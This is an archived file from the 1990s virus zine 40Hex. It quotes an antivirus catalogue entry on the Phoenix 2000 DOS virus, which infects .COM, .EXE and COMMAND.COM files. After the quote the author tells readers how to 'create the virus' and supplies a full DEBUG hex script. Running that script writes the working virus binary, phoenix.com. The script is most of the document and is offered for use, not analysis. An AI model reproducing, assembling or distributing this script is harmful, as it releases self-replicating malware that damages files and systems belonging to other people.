home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_9.003 < prev    next >
Text File  |  1995-01-03  |  11KB  |  201 lines

  1. 40Hex Number 9 Volume 2 Issue 5                                       File 003
  2.  
  3.  
  4. Below is the debug script for the Phoenix 2000 virus.  Let's see what Patti
  5. Hoffman's VSUM has to say about it:
  6.  
  7.                                  Phoenix 2000
  8.  
  9.  Virus Name:  Phoenix 2000 
  10.  Aliases:    
  11.  V Status:    Rare
  12.  Discovered:  December, 1991
  13.  Symptoms:    .COM file growth; .EXE files altered; TSR; decrease in total
  14.               system and available free memory
  15.  Origin:      Bulgaria
  16.  Eff Length:  2,000 Bytes
  17.  Type Code:   PRshAK - Parasitic Resident .COM & .EXE Infector
  18.  Detection Method:  ViruScan, AVTK 5.54+, UTScan 22.00+
  19.  Removal Instructions:  Delete infected files
  20.  
  21.  General Comments:
  22.        The Phoenix 2000 virus was received from The Netherlands in December,
  23.        1991, where it was uploaded to several BBSes by a person identifying
  24.        themself as "Dark Avenger".  This virus originated in Bulgaria, and
  25.        is closely related to the earlier V82 virus.  Phoenix 2000 is a
  26.        memory resident infector of .COM and .EXE files, as well as
  27.        COMMAND.COM.
  28.  
  29.        The first time a program infected with Phoenix 2000 is executed, the
  30.        Phoenix 2000 virus will become memory resident at the top of system
  31.        memory but below the 640K DOS boundary.  It will also install a
  32.        small TSR in low system memory of 112 bytes.  The virus at the top
  33.        of system memory is 8,192 bytes in size, this is the amount total
  34.        system memory as indicated by the DOS CHKDSK program will decrease
  35.        by.  The decrease in available free memory will be slightly more.
  36.        The Phoenix 2000 virus hooks interrupt 2A.  Interrupt 12's return
  37.        will not have been moved.
  38.  
  39.        Once Phoenix 2000 is memory resident, it will infect .COM and .EXE
  40.        programs, including COMMAND.COM, when they are opened, executed,
  41.        copied, or accessed in any way.  While it will always infect .COM
  42.        files, .EXE files are only successfully infected if they contain
  43.        2,000 bytes of binary 00 characters in a continuous block.  If the
  44.        2,000 bytes of binary 00 characters do not exist, the file may be
  45.        partially infected, but will not be replicating copy of the virus.
  46.  
  47.        .COM programs, other than COMMAND.COM, will have a file length
  48.        increase of 2,000 bytes with the virus being located in the middle
  49.        or end of the infected file.  Phoenix 2000 is unable to identify
  50.        previous infections of itself on infected .COM files, so they
  51.        may become reinfected by Phoenix 2000, adding an additional 2,000
  52.        bytes to the file for each reinfection.  There will be no change
  53.        to the file's date and time in the DOS disk directory listing.
  54.  
  55.        COMMAND.COM and .EXE files will not have a file length increase when
  56.        they are infected with the Phoenix 2000 virus.  In these two cases,
  57.        the virus will overwrite 2,000 bytes of binary 00 characters within
  58.        the file with the virus code.  For .EXE files with less than 2,000
  59.        bytes of binary 00 characters, the file will be partially infected
  60.        and may not function properly as a result.
  61.  
  62. To create the virus, simply copy the script below to a file called
  63. "Phoenix.lst" and type:
  64.         debug < phoenix.lst > nul
  65.                                                 Dark Angel
  66. -------------------------------------------------------------------------------
  67. n phoenix.com
  68. e 0100  E8 00 00 5E 95 B9 D6 03 51 8B FE 33 D2 2E 33 54 
  69. e 0110  1F 46 46 49 79 F7 58 2E 31 55 1F 47 47 48 79 F7 
  70. e 0120  87 C9 87 F6 87 D2 FA 81 C6 4F F8 1E E8 86 01 8E 
  71. e 0130  C7 4F 26 3B 5D 78 74 0F 80 6D 02 02 1F 1E 80 EF 
  72. e 0140  02 3B 1D 73 02 89 1D 83 C7 76 B8 D5 06 AB 8B C3 
  73. e 0150  AB 06 1F B9 00 20 B0 2E F2 AE 81 3D FF 1E 75 F8 
  74. e 0160  8B 7D 02 81 C7 D0 06 B8 59 07 AB 93 AB FF 75 FA 
  75. e 0170  FF 75 F8 0E 1F 8B DE 8A FB 03 9C 57 01 56 8E C0 
  76. e 0180  33 FF B9 22 00 8B C6 3A C3 74 02 3A C7 AC 74 01 
  77. e 0190  AA E2 F2 AF B9 D9 03 F3 A5 5E 58 AB 58 AB 92 48 
  78. e 01A0  AB 51 B2 80 B4 08 9C 26 FF 5D FA 58 AA 72 0C 80 
  79. e 01B0  FA 02 73 05 80 FE 04 72 02 B4 FE AB 07 FB 56 81 
  80. e 01C0  C6 4A 01 B9 E8 03 EB 49 E8 EA 00 8E DF 3B 5D 77 
  81. e 01D0  74 2D BF 4C 00 C4 5D D0 B4 13 CD 2F 06 B0 F5 E6 
  82. e 01E0  60 33 C0 E6 61 8E C0 93 AB 58 AB BA 80 00 B9 01 
  83. e 01F0  00 B8 11 03 CD 13 FE C5 75 F7 80 C1 40 EB F2 95 
  84. e 0200  E8 00 00 5E 83 C6 C5 56 0E 1F 81 C6 82 00 B9 80 
  85. e 0210  00 BF FD 00 8C DA 01 54 0B 3B 54 0B 75 3B A5 A4 
  86. e 0220  A5 A5 5F AD 8B DE 8B F0 06 1F 2E FF 2F F3 A5 96 
  87. e 0230  8B F9 C6 05 4D 89 55 03 42 26 29 55 03 B4 50 CD 
  88. e 0240  21 0E 1F 8E C3 8D 5C 09 EB DE F3 AA 95 00 00 00 
  89. e 0250  00 C3 C3 FD 00 00 00 21 20 03 54 07 8B 4C 03 56 
  90. e 0260  8B 74 05 E3 0C AD 93 AD 03 C2 8E C0 26 01 17 E2 
  91. e 0270  F4 8E C2 AD 91 E3 07 AD 93 26 01 17 E2 F9 8C C0 
  92. e 0280  80 C4 10 8E C0 33 C2 75 EA 5E B1 11 8C DB 2B D3 
  93. e 0290  2B D9 8E DB 8B FA 2B F9 B1 04 D3 E7 83 EF 0F 43 
  94. e 02A0  3B F7 73 9D 4A 03 DA 8E C3 43 96 89 5C 01 8B FE 
  95. e 02B0  B1 88 E9 78 FF FC BF 03 00 8C DB 4B 8E DB 43 03 
  96. e 02C0  1D 80 7D FD 5A 75 F5 C3 72 FD 50 B8 20 12 CD 2F 
  97. e 02D0  72 0A 53 26 8A 1D B8 16 12 CD 2F 5B 5E 72 E8 06 
  98. e 02E0  1F C6 45 02 02 FF 75 05 33 C0 87 45 17 50 33 C0 
  99. e 02F0  87 45 15 50 56 BA 03 04 B1 80 84 75 04 75 39 80 
  100. e 0300  FD 3E 75 05 BA 02 00 B1 C0 22 4D 05 75 2B 2E 89 
  101. e 0310  16 DD 07 8B 45 28 3D 45 58 74 13 3D 43 4F 75 13 
  102. e 0320  3B 45 20 B8 4D 4D 75 06 3B 45 22 75 01 41 3A 45 
  103. e 0330  2A 74 09 80 FD 4B 74 04 F9 E9 A8 02 51 0E 1F BA 
  104. e 0340  C5 17 B9 1A 00 B4 3F CD 21 33 C8 F9 75 4D 8B F2 
  105. e 0350  AD 3D 4D 5A 74 4A 3D 5A 4D 74 45 26 3B 4D 13 F9 
  106. e 0360  75 39 A3 4D 01 AD A3 4F 01 26 8B 45 11 2D 10 08 
  107. e 0370  72 29 26 89 45 15 50 E8 A4 02 72 1D 8B F2 8B 04 
  108. e 0380  A3 51 01 B5 AB 88 2E 4B 01 32 C4 75 0C 50 E8 7C 
  109. e 0390  02 58 72 05 AC 32 C4 E1 FB 91 5A 59 72 9B 74 2A 
  110. e 03A0  74 42 84 C9 75 92 33 F6 3D D2 06 72 1D 26 8A 45 
  111. e 03B0  12 F6 D0 A8 38 74 81 58 50 86 C4 33 D2 26 8B 75 
  112. e 03C0  11 83 EE 03 F7 F6 83 C2 03 49 51 26 89 55 15 8B 
  113. e 03D0  C2 2D 03 00 C6 06 C5 17 E9 A3 C6 17 B9 FD 00 33 
  114. e 03E0  C0 E9 18 01 8B 44 16 26 89 45 15 B1 04 E8 30 02 
  115. e 03F0  72 A9 D1 E8 87 44 06 48 48 A3 51 01 01 44 0C 01 
  116. e 0400  44 14 40 40 B1 10 3A E1 F5 72 90 F7 E1 87 54 04 
  117. e 0410  8B CA D1 E2 D1 E2 03 54 16 2B C2 72 EC 83 7C 0A 
  118. e 0420  00 74 0F 50 2D F2 07 73 17 D1 E0 03 D0 72 11 2B 
  119. e 0430  D0 58 2D 22 01 73 06 D1 E0 03 D0 73 CB 33 C0 50 
  120. e 0440  8B 44 16 2B D0 5E 72 C1 56 80 E2 FC 03 D0 26 89 
  121. e 0450  55 15 2B D0 D1 EA D1 EA BE E5 07 56 2D 20 00 73 
  122. e 0460  0A 83 EE 04 05 04 00 4A 79 01 42 89 16 4D 01 2B 
  123. e 0470  CA 73 02 33 C9 A3 4F 01 5A 51 D1 E1 D1 E1 75 09 
  124. e 0480  3B F2 74 05 26 80 45 15 04 B4 3F CD 21 59 72 56 
  125. e 0490  26 29 45 15 57 53 BF DF 17 32 D2 51 56 57 AF 57 
  126. e 04A0  E3 23 AD 8B F8 AD D1 C0 D1 C0 D1 C0 D1 C0 8B D8 
  127. e 04B0  80 E3 F0 03 DF 14 00 24 0F 3A C2 75 06 5F 89 1D 
  128. e 04C0  47 47 57 E2 DD 58 5B 5E 59 8B F8 2B C3 D1 E8 48 
  129. e 04D0  89 07 42 80 FA 10 75 C3 5B 5F BA DF 17 D1 E1 83 
  130. e 04E0  C1 20 B4 40 CD 21 5E 59 72 7E 51 26 8B 4D 15 83 
  131. e 04F0  E9 20 33 C0 87 0E D9 17 87 06 DB 17 89 0E 53 01 
  132. e 0500  A3 55 01 59 58 41 56 52 51 53 33 D2 B9 90 00 F7 
  133. e 0510  F1 E8 40 01 A3 14 00 E8 3A 01 A3 1E 00 92 B2 06 
  134. e 0520  F6 F2 BE E1 07 E8 00 01 BB D8 05 E8 06 01 BB E0 
  135. e 0530  07 BE AC 05 B9 26 00 AC 24 3F 74 1F 50 24 07 D7 
  136. e 0540  B4 F8 92 58 51 B1 03 D2 E8 74 07 D7 D2 E0 0A D0 
  137. e 0550  B6 C0 59 20 B4 53 FA 08 94 53 FA E2 DA 91 5B 59 
  138. e 0560  5E 84 C9 75 26 E8 A5 00 72 77 91 26 03 45 11 2B 
  139. e 0570  C1 26 89 45 15 FE C4 A3 51 01 C6 06 4B 01 A5 B4 
  140. e 0580  40 CD 21 33 C1 75 5A 26 89 75 15 06 57 99 A3 57 
  141. e 0590  01 96 EC 24 1F 91 EC 24 1F 1E 07 BF E1 07 F6 84 
  142. e 05A0  AC 05 80 74 04 E8 B6 00 91 A4 81 FE 20 00 75 EE 
  143. e 05B0  E8 AB 00 AD B9 D7 03 AD 33 06 D8 07 33 D0 AB E2 
  144. e 05C0  F6 33 54 08 31 55 E0 5F 07 5E 56 B4 40 E8 3F 00 
  145. e 05D0  33 C8 75 0D 26 89 4D 15 BA C5 17 B1 18 B4 40 CD 
  146. e 05E0  21 B5 3E F9 58 06 1F 8F 45 15 8F 45 17 73 11 8A 
  147. e 05F0  45 0D F6 D0 A8 1F 74 08 80 4D 0D 1F 80 65 05 BF 
  148. e 0600  58 0A C4 24 40 08 45 06 B4 3E CD 21 C3 B4 3F B9 
  149. e 0610  00 01 BA C8 00 85 F6 74 0C B9 D0 07 EB 04 B1 02 
  150. e 0620  B4 3F BA E1 07 CD 21 C3 BB D2 05 E8 08 00 88 04 
  151. e 0630  46 BB D5 05 8A C4 D0 E8 8A D0 50 14 01 3C 03 72 
  152. e 0640  02 2C 03 0A D0 D7 88 04 46 58 D7 88 04 46 8A C2 
  153. e 0650  34 03 D7 C3 D1 EA B8 79 F7 73 02 0C 04 C3 E8 01 
  154. e 0660  00 91 98 3C 02 73 02 B0 02 3B F0 76 3E 8D 45 1F 
  155. e 0670  8A 26 57 01 A3 57 01 48 3A C4 B0 90 AA 75 14 EC 
  156. e 0680  24 1F 3C 08 73 0D B4 09 F6 E4 04 C0 8A E0 B0 87 
  157. e 0690  89 45 FE 8B C6 53 B3 15 2C 11 3C 05 72 08 B3 1F 
  158. e 06A0  2C 0A 3C 05 73 02 FE 0F 5B B0 20 C3 00 00 00 84 
  159. e 06B0  80 82 00 00 82 80 2C 80 09 80 00 0E 00 84 84 82 
  160. e 06C0  80 00 83 80 00 0F 00 85 85 83 80 00 00 00 00 04 
  161. e 06D0  00 01 00 01 02 03 06 07 07 04 05 9C FA 50 53 51 
  162. e 06E0  52 56 57 1E 06 FC 0E 07 91 80 FD 3E 74 0F 8B F2 
  163. e 06F0  BF DF 17 B4 60 CD 21 B8 00 3D CD 21 93 BA 00 00 
  164. e 0700  8E DA BF D0 07 BE 4C 00 B8 B3 07 87 04 AB 50 8C 
  165. e 0710  C0 87 44 02 AB 50 B8 38 07 87 44 44 50 8C C0 87 
  166. e 0720  44 46 50 1E 56 A1 6C 04 50 E8 9C FB 0E 1F BE DF 
  167. e 0730  17 8B FE 80 FD 4B 74 0C 54 58 80 FD 3E F9 74 75 
  168. e 0740  3B C4 72 71 AC 3C 5C 75 02 8B FE 84 C0 75 F5 B8 
  169. e 0750  2A 2E 89 05 98 89 45 02 B4 2F CD 21 06 53 BA E1 
  170. e 0760  07 B4 1A CD 21 0E 07 B9 23 00 BA DF 17 B4 4E CD 
  171. e 0770  21 72 30 A0 F7 07 F6 D0 A8 1F 74 21 BE FF 07 57 
  172. e 0780  AC AA 84 C0 75 FA 5F 8B 44 FD 3D 58 45 74 07 3D 
  173. e 0790  4F 4D 75 09 B4 43 B0 2E 3B 44 FB 74 06 B4 4F CD 
  174. e 07A0  21 73 D0 5A 1F B4 1A CD 21 72 0A 0E 1F BA DF 17 
  175. e 07B0  B8 00 3D CD 21 5B 93 E8 0E FB 5E 1F 8F 44 46 8F 
  176. e 07C0  44 44 8F 44 02 8F 04 07 1F 5F 5E 5A 59 5B 58 9D 
  177. e 07D0  EA 00 00 00 00 56 57 55 1E 06 8B EC 80 FC 82 75 
  178. e 07E0  52 8C D8 3B 46 0C 75 4B B8 18 12 CD 2F 8C C8 3B 
  179. e 07F0  44 14 74 3F AD 80 EC 3D 74 1F FE CC 74 19 2D 00 
  180. e 0800  0D 75 30 C4 7C 10 26 81 7D FE CD 21 75 25 40 2E 
  181. e 0810  30 06 B2 07 75 1D F9 B3 30 0E 07 BF D1 06 B8 DB 
  182. e 0820  05 87 44 10 73 02 48 48 AB 8C C8 87 44 12 AB 80 
  183. e 0830  64 14 FE 07 1F 5D 5F 5E B0 03 CF 58 80 EC 02 80 
  184. e 0840  FC 02 73 0C FF 45 01 75 07 B8 01 03 9C FF 5D FA 
  185. e 0850  58 D1 E8 73 53 B4 01 EB 51 1E 57 0E 1F BF DA 07 
  186. e 0860  80 3D 00 74 0D 41 75 09 32 E4 86 25 F9 8B 4D 05 
  187. e 0870  41 49 9C 50 9C FF 5D FA 73 C1 1F 1F EB 2C 88 25 
  188. e 0880  89 4D 05 3A 65 03 75 03 80 F4 01 51 B9 FF FF 9C 
  189. e 0890  FF 5D F6 59 9C 50 32 C0 86 05 A8 02 75 FE 58 9D 
  190. e 08A0  73 08 80 FC 01 F9 75 02 33 C0 5F 1F FB CA 02 00 
  191. e 08B0  98 34 00 1E 57 0E 1F BF DA 07 3A 65 04 74 E9 84 
  192. e 08C0  E4 74 E5 80 FC 01 74 05 80 FC 05 72 B1 5F 1F EA 
  193. rcx
  194. 07D0
  195. w
  196. q
  197. -------------------------------------------------------------------------------
  198.                                                                              DA
  199.  
  200. Downloaded From P-80 International Information Systems 304-744-2253
  201.